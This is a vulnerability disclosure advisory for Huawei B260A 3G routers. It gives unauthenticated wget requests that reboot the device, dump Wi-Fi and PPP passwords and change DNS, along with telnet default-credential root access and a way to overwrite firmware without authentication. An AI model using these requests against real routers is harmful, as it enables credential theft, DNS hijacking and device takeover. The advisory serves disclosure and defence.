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A comprehensive study of Huawei 3G routers - XSS, CSRF, DoS, unauthenticated firmware update, RCE

Product Description

Huawei Technologies Co. Ltd. is a Chinese multinational networking and telecommunications equipment and services company. It is the largest telecommunications equipment manufacturer in the world.

Vulnerabilities Summary

The Huawei B260A device is a 3g modem / access point overall badly designed with a lot of vulnerabilities. The device is provided by Orange Tunisia as a "Flybox". It's available in a lot of countries to provide Internet with a 3G network (Vodafone provides this device, for example).

The tests below are done using the last available firmware (firmware 846. - Feb 20 2013).

Note: This firmware seems to be used for these 14 Huawei devices (from ) which, therefore, are likely to be vulnerable to the same threats:

Details - Cookies

The Huawei B260A stores the administrator's account name and password in cleartext in a cookie (using base64), which allows context-dependent attackers to obtain sensitive information by(1) reading a cookie file and (2) sniffing the network for HTTP headers, and possibly (3) using unspecified other vectors.

The cookie is:

Cookie: Basic=admin:base64(password):0

Details - Authentication bypass

Remote reboot without authentication:

wget -qO- --post-data='action=Reboot&page=resetrouter.asp'

Second remote reboot without authentication:

wget -qO- --post-data='action=Apply&page=lancfg.asp' ''

Grab wifi password without authentication:

wget -qO- ''|less

Get PPP passwords without authentication:

wget -qO- ''|grep -i 'var profile'
var profile = [["Orange TN","*99#","FIXME","FIXME","0","flyboxgp","1","","0",],[]];

Grab informations (wifi password, PPP passwords) without authentication:

wget -qO-
var current_profile_list = ["Orange TN","*99#","","","0","flyboxgp","1","",];
var profile = [["Orange TN","*99#","","","0","flyboxgp","1","",],[]];
var nv_wl_wpa_psk = "E56479874EB39DB3BC65D8374B";              /**/
var nv_wl_key1 = "";                    /**/

Details - CSRF without authentication

Change remote DNS without authentication: it allows an attacker to change the upstream DNS servers, so it will impact the clients served by the local dhcpd from the Huawei B260A:

wget -qO- --post-data='lan_lease=86400&dns_settings=static&primary_dns=' ''

This can easily be done using a CSRF attack.

Apparently, there are CSRF everywhere (EVERYWHERE).

Details - Remote DoS without authentication

Remote DoS against the HTTP server without authentication:

root@linux:~# telnet 80
Connected to
Escape character is '^]'.
Connection closed by foreign host.
root@linux:~# telnet 80
telnet: Unable to connect to remote host: Connection refused

Details - Firmware upload without authentication:

The program (FMC tool) provided by Tunisia Telecom (from Huawei) to update the firmware sends udp packet to the broacast port 1280 udp. The diag program running in the Huawei B260A replies by sending out information about the versions of the different components of the firmware. The updater tries to login using telnet (admin/admin) protocol to the modem in order to extract firmware versions (if the password is not admin, the update will continue and will work). Then the updater sends directly the files to the modem using 1280/tcp which will overwrite the MTD (Memory Technology Device, ie: flash storage) of the device without authentication:

By sniffing the packets:

1/ telnet connection from the official tool (with admin:admin credentials by default):

HGW login: ......admin
Password: admin

No directory, logging in with HOME=/

BusyBox v0.60.0 (2013.02.20-03:27+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
# nvram get cfe_version
# nvram get app_version

Even if the password is not 'admin', the updating process continues on port 1280/tcp.

2/ In the router, the diag program receives the data in port 1280/tcp, stores the data in files located in /tmp and then uses the write program in the router to overwrite the MTD.

No need to reverse, by using top in the router, we see the write process:

1266 0         S    diagd 
1270 0         S    telnetd 
1822 0         R    write /tmp/uploadh1wNSR FWT  <-- overwrites the MTD

write is a basic tool used to overwrite the mtdblock (write /path/to/file device, FWT for the MTD):

# write
usage: write [path] [device]

3/ After updating the firmware, you can login as admin/admin using the HTTP control panel and using telnet, allowing you to get a root shell.

This is a default behavior, as stated in the official documentation from the FMC tool:

With this software, you can upgrade the Huawei FMC products in a very simple way.
This software supports the upgrade of five sub-modules, including BOOT of the router module,
APP of the router module, customized files of the router module, the wireless module,
and the dashboard software.

You can get the last firmware updater at this address

(Linux: wget --user-agent="Mozilla" http://media.orange.tn/executable/maj_flyboxB260A.exe)

Huawei doesn't provide directly firmwares for these devices, you have to download them from your ISP.

These ISPs use this router (from http://www.dlgsm.com/index.php?dir=/FLASH-FILES/HUAWEI/B_Series/B260a ):

From my research, it is possible to overwrite the default firmware with a custom one without authentication.

It is also possible to sim-unlock the device by sending packets to port 1280/udp.

As stated before, this firmware seems to be used for the below devices, so the devices are likely to be vulnerable to the same threats:

Vendor Response

The vulnerable routers are in the End Of Service cycle and will not be supported anymore.

The vendor encourages people to discard existing unsupported models and to use new routers (B68L and B310).

Official Huawei Security Notice

Report Timeline


These vulnerabilities were found by Pierre Kim (@PierreKimSec).


Big thanks to my friend Alexandre Torres.





This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

published on 2015-10-07 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>